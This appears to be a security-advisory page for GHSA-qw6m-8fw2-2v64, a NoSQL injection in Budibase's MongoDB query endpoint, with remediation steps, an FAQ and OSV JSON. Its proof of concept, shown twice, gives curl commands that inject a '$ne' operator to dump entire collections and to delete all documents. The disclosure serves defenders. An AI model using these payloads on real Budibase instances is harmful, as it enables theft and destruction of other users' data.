GHSA-qw6m-8fw2-2v64: Budibase SQL Injection Vulnerability

HIGH
CVSS 8.3
CWE-943
Published
Advisory Summary

GHSA-qw6m-8fw2-2v64 is a HIGH (CVSS 8.3) sql injection vulnerability (CWE-943: Improper Neutralization of Special Elements in Data Query Logic) affecting Budibase libraries in the npm ecosystem. The issue involves nosql injection via json parameter interpolation in mongodb query execution. Remediation is available in the latest vendor maintenance releases.

GHSA-qw6m-8fw2-2v64 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-qw6m-8fw2-2v64
Severity HIGH
CVSS v3.1 Base Score 8.3
CWE Classification CWE-943: Improper Neutralization of Special Elements in Data Query Logic
Affected Product Budibase
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix GHSA-qw6m-8fw2-2v64

To remediate this vulnerability, upgrade all affected Budibase dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@budibase/server fixed: Latest secure release
npm install @budibase/server@Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @budibase/server

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-qw6m-8fw2-2v64, inspect your project dependencies using npm:

npm ls @budibase/server

Analyze the terminal output to locate any version of Budibase in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The npm ls @budibase/server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-943: Improper Neutralization of Special Elements in Data Query Logic, where the product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query. In Budibase, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Budibase's MongoDB query execution endpoint (`POST /api/v2/queries/:queryId`) is vulnerable to NoSQL injection through user-supplied query parameters. The `enrichContext()` function interpolates parameter values into JSON query templates using Handlebars with `noEscaping: true`, then parses the result with `JSON.parse()`. An attacker can inject JSON metacharacters (`"`, `{`, `}`) into parameter values to alter the structure of MongoDB queries, bypassing intended filters to read, modify, or delete arbitrary documents. ## Details The vulnerability exists because input validation and interpolation are misaligned. The `validateQueryInputs()` function blocks Handlebars template syntax (`{{}}`) but does not sanitize JSON structural characters: **packages/server/src/api/controllers/query/index.ts:57-69** ```typescript function validateQueryInputs(parameters: QueryEventParameters) { for (let entry of Object.entries(parameters)) { const [key, value] = entry if (typeof value !== "string") { continue } if (findHBSBlocks(value).length !== 0) { throw new Error( `Parameter '${key}' input contains a handlebars binding - this is not allowed.` ) } } } ``` After validation passes, `enrichContext()` performs raw string interpolation with escaping explicitly disabled: **packages/server/src/sdk/workspace/queries/queries.ts:105-108** ```typescript enrichedQuery[key] = processStringSync(fields[key], parameters, { noEscaping: true, noHelpers: true, escapeNewlines: true, }) ``` The interpolated string is then parsed as JSON at line 122: **packages/server/src/sdk/workspace/queries/queries.ts:122** ```typescript enrichedQuery.json = JSON.parse( enrichedQuery.json || enrichedQuery.customData || enrichedQuery.requestBody ) ``` The parsed object flows directly into MongoDB driver calls with no further sanitization: **packages/server/src/integrations/mongodb.ts:509** ```typescript return await collection.find(json).toArray() ``` **packages/server/src/integrations/mongodb.ts:624** ```typescript return await collection.deleteMany(json.filter, json.options) ``` Consider a saved query with a JSON template like `{"username": "{{username}}"}`. If an attacker provides the parameter value `", "$ne": "` the interpolated string becomes `{"username": "", "$ne": ""}` — a valid JSON object that matches all documents where `username` is not empty, instead of matching a single specific user. The route requires only `PermissionType.QUERY, PermissionLevel.WRITE` (packages/server/src/api/routes/query.ts:27), which is available to regular app users — not restricted to builders or admins. Critically, the execute endpoint has no Joi schema validation on the request body, unlike the save and preview endpoints. ## PoC **Prerequisites:** A Budibase instance with a MongoDB datasource and a saved query that accepts a parameter interpolated into the query JSON (e.g., a `find` query with `{"username": "{{username}}"}`). **Step 1: Authenticate as a regular app user** ```bash TOKEN=$(curl -s -X POST http://localhost:10000/api/global/auth \ -H "Content-Type: application/json" \ -d '{"username":"appuser@example.com","password":"password"}' \ -c - | grep budibase:auth | awk '{print $NF}') ``` **Step 2: Execute the query normally (returns only matching document)** ```bash curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \ -H "Content-Type: application/json" \ -b "budibase:auth=$TOKEN" \ -d '{"parameters": {"username": "alice"}}' # Returns: [{"username": "alice", ...}] ``` **Step 3: Inject NoSQL operator to dump all documents** ```bash curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \ -H "Content-Type: application/json" \ -b "budibase:auth=$TOKEN" \ -d '{"parameters": {"username": "\", \"$ne\": \""}}' # Returns: [{"username": "alice", ...}, {"username": "bob", ...}, {"username": "admin", ...}, ...] ``` The injected value `", "$ne": "` transforms the query from `{"username": "alice"}` to `{"username": "", "$ne": ""}`, which matches all documents where username is not empty. **Step 4: Delete all documents via a delete query (if a delete-type query is saved)** ```bash curl -s -X POST http://localhost:10000/api/v2/queries/query_del456 \ -H "Content-Type: application/json" \ -b "budibase:auth=$TOKEN" \ -d '{"parameters": {"username": "\", \"$ne\": \""}}' # Deletes ALL documents matching the injected filter ``` ## Impact - **Data exfiltration:** Any app user with query write permission can bypass intended query filters to read all documents in a MongoDB collection, including sensitive data belonging to other users or tenants. - **Data modification:** Through `updateMany` queries, attackers can modify arbitrary documents in bulk by injecting broadened filters. - **Data destruction:** Through `deleteMany` queries, attackers can delete all documents matching an injected filter, potentially wiping entire collections. - **Authorization bypass:** The attack requires only `QUERY WRITE` permission, which is a standard app-level permission — not builder or admin access. This means any regular application user can exploit saved MongoDB queries they have access to execute. ## Recommended Fix Sanitize parameter values before interpolation by escaping JSON metacharacters. Apply this in `enrichContext()` before the `processStringSync` call: **packages/server/src/sdk/workspace/queries/queries.ts** ```typescript // Add this helper function function escapeJsonValue(value: string): string { return value.replace(/\\/g, "\\\\").replace(/"/g, '\\"') } // In enrichContext(), sanitize parameters before interpolation for (const [key, value] of Object.entries(parameters)) { if (typeof value === "string") { parameters[key] = escapeJsonValue(value) } } ``` Alternatively, adopt a parameterized query approach: instead of string interpolation into JSON, parse the template JSON first and then inject parameter values into the parsed object at the value level, preventing any structural modification of the query. Additionally, add Joi validation to the execute endpoint (`POST /api/v2/queries/:queryId`) to constrain the shape of incoming parameter values, consistent with the validation already present on the save and preview endpoints.

GHSA-qw6m-8fw2-2v64 Affected Budibase Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
@budibase/server
npm
≤ 3.38.1

References

Frequently Asked Questions

What is GHSA-qw6m-8fw2-2v64?
GHSA-qw6m-8fw2-2v64 is a security vulnerability in Budibase involving NoSQL Injection via JSON Parameter Interpolation in MongoDB Query Execution under CWE-943: Improper Neutralization of Special Elements in Data Query Logic.
Which Budibase versions are affected?
Affected versions include releases prior to current release patches across affected packages: @budibase/server.
What version fixes GHSA-qw6m-8fw2-2v64?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is @budibase/server affected?
Yes, @budibase/server is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of GHSA-qw6m-8fw2-2v64?
GHSA-qw6m-8fw2-2v64 has a CVSS v3.1 base score of 8.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L.
What CWE is associated with GHSA-qw6m-8fw2-2v64?
GHSA-qw6m-8fw2-2v64 is classified under CWE-943: Improper Neutralization of Special Elements in Data Query Logic (The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.).
How can I check npm dependencies for GHSA-qw6m-8fw2-2v64?
Run the dependency tree command: 'npm ls @budibase/server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qw6m-8fw2-2v64",
  "modified" : "2026-07-24T21:25:51Z",
  "published" : "2026-07-24T21:25:51Z",
  "aliases" : [ ],
  "summary" : " Budibase: NoSQL Injection via JSON Parameter Interpolation in MongoDB Query Execution",
  "details" : "## Summary\n\nBudibase's MongoDB query execution endpoint (`POST /api/v2/queries/:queryId`) is vulnerable to NoSQL injection through user-supplied query parameters. The `enrichContext()` function interpolates parameter values into JSON query templates using Handlebars with `noEscaping: true`, then parses the result with `JSON.parse()`. An attacker can inject JSON metacharacters (`\"`, `{`, `}`) into parameter values to alter the structure of MongoDB queries, bypassing intended filters to read, modify, or delete arbitrary documents.\n\n## Details\n\nThe vulnerability exists because input validation and interpolation are misaligned. The `validateQueryInputs()` function blocks Handlebars template syntax (`{{}}`) but does not sanitize JSON structural characters:\n\n**packages/server/src/api/controllers/query/index.ts:57-69**\n```typescript\nfunction validateQueryInputs(parameters: QueryEventParameters) {\n  for (let entry of Object.entries(parameters)) {\n    const [key, value] = entry\n    if (typeof value !== \"string\") {\n      continue\n    }\n    if (findHBSBlocks(value).length !== 0) {\n      throw new Error(\n        `Parameter '${key}' input contains a handlebars binding - this is not allowed.`\n      )\n    }\n  }\n}\n```\n\nAfter validation passes, `enrichContext()` performs raw string interpolation with escaping explicitly disabled:\n\n**packages/server/src/sdk/workspace/queries/queries.ts:105-108**\n```typescript\nenrichedQuery[key] = processStringSync(fields[key], parameters, {\n  noEscaping: true,\n  noHelpers: true,\n  escapeNewlines: true,\n})\n```\n\nThe interpolated string is then parsed as JSON at line 122:\n\n**packages/server/src/sdk/workspace/queries/queries.ts:122**\n```typescript\nenrichedQuery.json = JSON.parse(\n  enrichedQuery.json ||\n  enrichedQuery.customData ||\n  enrichedQuery.requestBody\n)\n```\n\nThe parsed object flows directly into MongoDB driver calls with no further sanitization:\n\n**packages/server/src/integrations/mongodb.ts:509**\n```typescript\nreturn await collection.find(json).toArray()\n```\n\n**packages/server/src/integrations/mongodb.ts:624**\n```typescript\nreturn await collection.deleteMany(json.filter, json.options)\n```\n\nConsider a saved query with a JSON template like `{\"username\": \"{{username}}\"}`. If an attacker provides the parameter value `\", \"$ne\": \"` the interpolated string becomes `{\"username\": \"\", \"$ne\": \"\"}` — a valid JSON object that matches all documents where `username` is not empty, instead of matching a single specific user.\n\nThe route requires only `PermissionType.QUERY, PermissionLevel.WRITE` (packages/server/src/api/routes/query.ts:27), which is available to regular app users — not restricted to builders or admins. Critically, the execute endpoint has no Joi schema validation on the request body, unlike the save and preview endpoints.\n\n## PoC\n\n**Prerequisites:** A Budibase instance with a MongoDB datasource and a saved query that accepts a parameter interpolated into the query JSON (e.g., a `find` query with `{\"username\": \"{{username}}\"}`).\n\n**Step 1: Authenticate as a regular app user**\n```bash\nTOKEN=$(curl -s -X POST http://localhost:10000/api/global/auth \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"appuser@example.com\",\"password\":\"password\"}' \\\n  -c - | grep budibase:auth | awk '{print $NF}')\n```\n\n**Step 2: Execute the query normally (returns only matching document)**\n```bash\ncurl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \\\n  -H \"Content-Type: application/json\" \\\n  -b \"budibase:auth=$TOKEN\" \\\n  -d '{\"parameters\": {\"username\": \"alice\"}}'\n# Returns: [{\"username\": \"alice\", ...}]\n```\n\n**Step 3: Inject NoSQL operator to dump all documents**\n```bash\ncurl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \\\n  -H \"Content-Type: application/json\" \\\n  -b \"budibase:auth=$TOKEN\" \\\n  -d '{\"parameters\": {\"username\": \"\\\", \\\"$ne\\\": \\\"\"}}'\n# Returns: [{\"username\": \"alice\", ...}, {\"username\": \"bob\", ...}, {\"username\": \"admin\", ...}, ...]\n```\n\nThe injected value `\", \"$ne\": \"` transforms the query from `{\"username\": \"alice\"}` to `{\"username\": \"\", \"$ne\": \"\"}`, which matches all documents where username is not empty.\n\n**Step 4: Delete all documents via a delete query (if a delete-type query is saved)**\n```bash\ncurl -s -X POST http://localhost:10000/api/v2/queries/query_del456 \\\n  -H \"Content-Type: application/json\" \\\n  -b \"budibase:auth=$TOKEN\" \\\n  -d '{\"parameters\": {\"username\": \"\\\", \\\"$ne\\\": \\\"\"}}'\n# Deletes ALL documents matching the injected filter\n```\n\n## Impact\n\n- **Data exfiltration:** Any app user with query write permission can bypass intended query filters to read all documents in a MongoDB collection, including sensitive data belonging to other users or tenants.\n- **Data modification:** Through `updateMany` queries, attackers can modify arbitrary documents in bulk by injecting broadened filters.\n- **Data destruction:** Through `deleteMany` queries, attackers can delete all documents matching an injected filter, potentially wiping entire collections.\n- **Authorization bypass:** The attack requires only `QUERY WRITE` permission, which is a standard app-level permission — not builder or admin access. This means any regular application user can exploit saved MongoDB queries they have access to execute.\n\n## Recommended Fix\n\nSanitize parameter values before interpolation by escaping JSON metacharacters. Apply this in `enrichContext()` before the `processStringSync` call:\n\n**packages/server/src/sdk/workspace/queries/queries.ts**\n```typescript\n// Add this helper function\nfunction escapeJsonValue(value: string): string {\n  return value.replace(/\\\\/g, \"\\\\\\\\\").replace(/\"/g, '\\\\\"')\n}\n\n// In enrichContext(), sanitize parameters before interpolation\nfor (const [key, value] of Object.entries(parameters)) {\n  if (typeof value === \"string\") {\n    parameters[key] = escapeJsonValue(value)\n  }\n}\n```\n\nAlternatively, adopt a parameterized query approach: instead of string interpolation into JSON, parse the template JSON first and then inject parameter values into the parsed object at the value level, preventing any structural modification of the query.\n\nAdditionally, add Joi validation to the execute endpoint (`POST /api/v2/queries/:queryId`) to constrain the shape of incoming parameter values, consistent with the validation already present on the save and preview endpoints.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@budibase/server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.38.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-qw6m-8fw2-2v64"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/pull/18907"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/commit/2d6c1d17cff8a653adbb2f9003eda9de38c7670f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Budibase/budibase"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/releases/tag/3.39.9"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-943" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-24T21:25:51Z",
    "nvd_published_at" : null
  }
}